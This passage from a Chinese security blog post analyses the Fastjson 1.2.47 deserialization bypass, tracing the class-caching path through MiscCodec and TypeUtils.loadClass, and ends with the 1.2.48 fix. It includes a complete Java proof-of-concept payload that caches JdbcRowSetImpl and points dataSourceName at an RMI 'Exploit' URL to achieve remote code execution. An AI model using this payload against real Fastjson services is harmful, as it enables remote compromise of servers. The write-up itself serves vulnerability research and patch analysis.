    }
}

image-20250322170714025

1.2.47(通杀严重)

这个绕过版本,允许攻击者在没有开启 autoType 的情况进行攻击。 而且对于之前的版本也是可以达到命令执行的 。具体是怎么实现的呢?我们来看一下

因为我们的 autotype 为 false,我们想要拿到 class,就只能在检测 autotype 为 true 和 false 之间的代码中了

image-20250322195453803

也就是这两句。我们先来看 clazz = deserializers.findClass(typeName);

deserializers

因为 com.alibaba.fastjson.parser.ParserConfig#deserializers 是一个 com.alibaba.fastjson.util.IdentityHashMap 类,我们要从 map 里找到 typeName,我们看到是要找到一个可控参数的 put 方法才可以。全局搜索 com.alibaba.fastjson.util.IdentityHashMap#put 方法

image-20250322210015918

找到了 4 个方法,但是和 com.alibaba.fastjson.parser.ParserConfig#deserializers 有关的就只有前三个

  • initDeserializers() : 没有参数,我们看到无法控制添加想要的键值
  • getDeserializer(Class <?> clazz, Type type) : put 方法中的参数基本上都是硬编码的,我们没法利用
  • putDeserializer(Type type, ObjectDeserializer deserializer) : 被上边的两个方法调用

image-20250322211111924

所以我们就无法从 com.alibaba.fastjson.parser.ParserConfig#deserializers 下手了,我们只能看 clazz = TypeUtils.getClassFromMapping(typeName); 这个方法了

getClassFromMapping

我们先进去看看 TypeUtils.getClassFromMapping(typeName); 这个方法

image-20250322211509310

发现他的返回值是 mappings.get(className); 我们现在就和分析 deserializers 时,思路一致,看看有没有能给 mappings 赋值的可控参数的方法,找到一下 33 个跟 mappings 有关的方法,但是只有 loadClass 满足我们想要的条件

image-20250322211758449

我们看一下 com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean) 这个方法

/**
 * 根据类名加载类
 * 此方法优先检查类是否已经加载过,如果已经加载则直接返回
 * 如果类名表示的是数组或内部类,则会相应地处理
 * 如果类尚未加载,则尝试使用提供的类加载器、当前线程上下文类加载器或系统类加载器进行加载
 * 
 * @param className 要加载的类名,不能为空
 * @param classLoader 用于加载类的类加载器,如果为null,则使用系统类加载器
 * @param cache 是否缓存加载过的类,true表示缓存,false表示不缓存
 * @return 加载的类,如果无法加载则返回null
 */
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
    // 检查类名是否为空,为空则返回null
    if(className == null || className.length() == 0){
        return null;
    }
    
    // 尝试从已缓存的类映射中获取类,如果找到则直接返回
    Class<?> clazz = mappings.get(className);
    if(clazz != null){
        return clazz;
    }
    
    // 处理数组类型的类名,递归加载数组的组件类型
    if(className.charAt(0) == '['){
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    }
    
    // 处理内部类类型的类名,去除首尾的'L'和';'后递归加载
    if(className.startsWith("L") && className.endsWith(";")){
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    }
    
    // 尝试使用提供的类加载器加载类,并缓存如果指定
    try{
        if(classLoader != null){
            clazz = classLoader.loadClass(className);
            if (cache) {
                mappings.put(className, clazz);
            }
            return clazz;
        }
    } catch(Throwable e){
        // 加载失败时记录异常,但不终止方法执行
        e.printStackTrace();
        // skip
    }
    
    // 尝试使用当前线程上下文类加载器加载类,并缓存如果指定
    try{
        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
        if(contextClassLoader != null && contextClassLoader != classLoader){
            clazz = contextClassLoader.loadClass(className);
            if (cache) {
                mappings.put(className, clazz);
            }
            return clazz;
        }
    } catch(Throwable e){
        // 加载失败时记录异常,但不终止方法执行
        // skip
    }
    
    // 尝试使用系统类加载器加载类,并缓存
    try{
        clazz = Class.forName(className);
        mappings.put(className, clazz);
        return clazz;
    } catch(Throwable e){
        // 加载失败时记录异常,但不终止方法执行
        // skip
    }
    
    // 所有加载尝试失败后返回null
    return clazz;
}

在 loadClass 中 mappings.put(className, clazz); 方法的判断限制,无论是 classLoader,还是 cache 都是从参数中传递的,我们要是可以找到一个可控参数的 loadClass()方法,就能完成像 mappings 里添加任意类了

我们看到这个 loadClass()

image-20250323092400344

重点关注在 MiscCodec 中的 loadClass 方法,他是调用了两个参数的 com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)方法,而这个方法会去调用三个参数的方法( 也就是我们目标方法

image-20250323092712823

com.alibaba.fastjson.serializer.MiscCodec#deserialze 我们来分析这个方法,先来到调用 loadClass 的地方

image-20250323100039005

clazz 是我们传递的参数,稍后我们再看,我们现分析 strVal 是否可控,我们来到定义的地方

image-20250323100616178

我们接着找到 objVal 这个变量

Object objVal; 

/* 	检查 parser 的 resolveStatus 是否为 TypeNameRedirect,
 	在碰到@type字段时,默认需要类型重定向,所以为true
 */
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { 
    // 将 resolveStatus 重置为 NONE
    parser.resolveStatus = DefaultJSONParser.NONE; 
    // 期望并消费 ',' Token
    parser.accept(JSONToken.COMMA);
    // 检查当前 Token 是否是字符串字面量。
    if (lexer.token() == JSONToken.LITERAL_STRING) { 
        // 检查字符串值是否是 "val"
        if (!"val".equals(lexer.stringVal())) { 
            // 如果不是 "val",抛出 JSONException 异常
            throw new JSONException("syntax error");
        }
        // 消费掉 "val" 字符串 Token,读取下一个 Token
        lexer.nextToken(); 
    } else {
        // 如果当前 Token 不是字符串字面量,抛出 JSONException 异常
        throw new JSONException("syntax error"); 
    }
    // 期望并消费 ':' Token
    parser.accept(JSONToken.COLON); 
    // 解析冒号后面的值,并将结果赋值给 objVal。
    objVal = parser.parse(); 
    // 期望并消费 '}' Token。
    parser.accept(JSONToken.RBRACE); 
} else {
    objVal = parser.parse(); // 如果 resolveStatus 不是 TypeNameRedirect,直接解析当前 JSON 值,并将结果赋值给 objVal。
}

我们通过这段代码,知道了 objVal 这个值是我们可控在,只需要这样的 json 串即可

{
    // 满足类型重定向
    "@type": "some.Type",
    // val设置为恶意类的类名
    "val": "com.sun.rowset.JdbcRowSetImpl"
}

@type 中的值要是什么呢?我们其实还有一个条件没有满足 那就是 clazz == Class.class

clazz 是我们传进来的参数,我们继续找一下看这个 com.alibaba.fastjson.serializer.MiscCodec#deserialze 有谁在调用,我们能自动让 fastjson 调用且满足我们的条件吗?

我们找了 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)这个方法

image-20250323122417734

这个方法就是 fastjson 在解析 json 字符串为 javaBean 时 自动调用的,我们看他调用时 deserialze 能不能走到 MiscCodec#deserialze 且类型为 Class.class

image-20250323122655830

clazz 由我们能传入的@type 字段的的值控制:即 clazz 可控 可以赋值为 (java.lang.Class)

我们跟进看看 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type) 方法

image-20250323104215048

derializers 的类型

private final IdentityHashMap<Type, ObjectDeserializer> deserializers = 
    new IdentityHashMap<Type, ObjectDeserializer>();

而 deserializers 在初始化的时候,也放入了 Class.class,而且正好 我们可以取到 MiscCodec.instance 实例

image-20250323104501514

至此链条就分析完成了

总结梳理

我们可以在总结 正向 梳理一下

  1. 自己执行 JSON.parse();
  2. fastjson 会去调用 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
  3. parseObject 会根据 @type 字段的值( Class.class ) 参数执行 config.getDeserializer(clazz); 拿到 MiscCodec.instance
  4. 接着执行 MiscCodec 的 deserialze() 方法,检测 “val” 字段 并把字段值 ( com.sun.rowset.JdbcRowSetImpl ) 赋值给 objVal,接着在转为字符串赋值给到 strVal,
  5. MiscCodec#deserialze 接着执行 TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); 进而调用三个参数的重载方法,cache 默认传递 true,把 strVal 就是我们的恶意类名,加载到缓存表 mappings 中 ,从而绕过 checkAutoType

最后的 payload

package com.lingx5.exp;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass47 {
    public static void main(String[] args) {
        //        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{" +
            "\"1\":{" +
            "\"@type\":\"java.lang.Class\"," +
            "\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +
            "}," +
            "\"2\":{" +
            "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
            "\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\"," +
            "\"autoCommit\":true" +
            "}" +
            "}";
        // 模拟受害的fastjson服务器
        JSON.parse(payload);
    }
}

调试 看一下调用栈

image-20250323124048401

image-20250323124459725

成功执行命令

image-20250323125747444

你是不仍有疑问,为什么我把 AutoTypeSupport 关了,在 json 串里也用到了@type 字段,为什么还能进行封装呢?

其实 autoTypeSupport 只是一个布尔值,在 checkAutoType() 函数中仅仅时进行了一些列 if 判断,他并不是把fastjson的@type特性给移除掉了。而我们 既没有在 autoTypeSupport 为true的方法里执行,也没有在autoTypeSupport 为false的方法里执行,所以可以实现RCE绕过

1.2.48

官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

image-20250323184839413

image-20250323185108496

这也确实把我们想通过缓存的路给封死了

总结

fastjson从1.2.24开始爆出RCE后就一发不可收拾,各种绕过接踵而至。作者也是在缝缝补补,不过靠黑名单机制肯定是不足够安全的,会有研究人员不断找出新的路径来实现bypass。

参考文章

Java 安全学习——Fastjson 反序列化漏洞 - 枫 のBlog

Fastjson 反序列化漏洞 · 攻击 Java Web 应用-Java Web 安全

Fastjson 反序列化分析 - 跳跳糖

Java 安全之 FastJson 漏洞分析与利用 | DiliLearngent's Blog

posted @ 2025-03-23 19:05  LingX5  阅读(316)  评论(0)    收藏  举报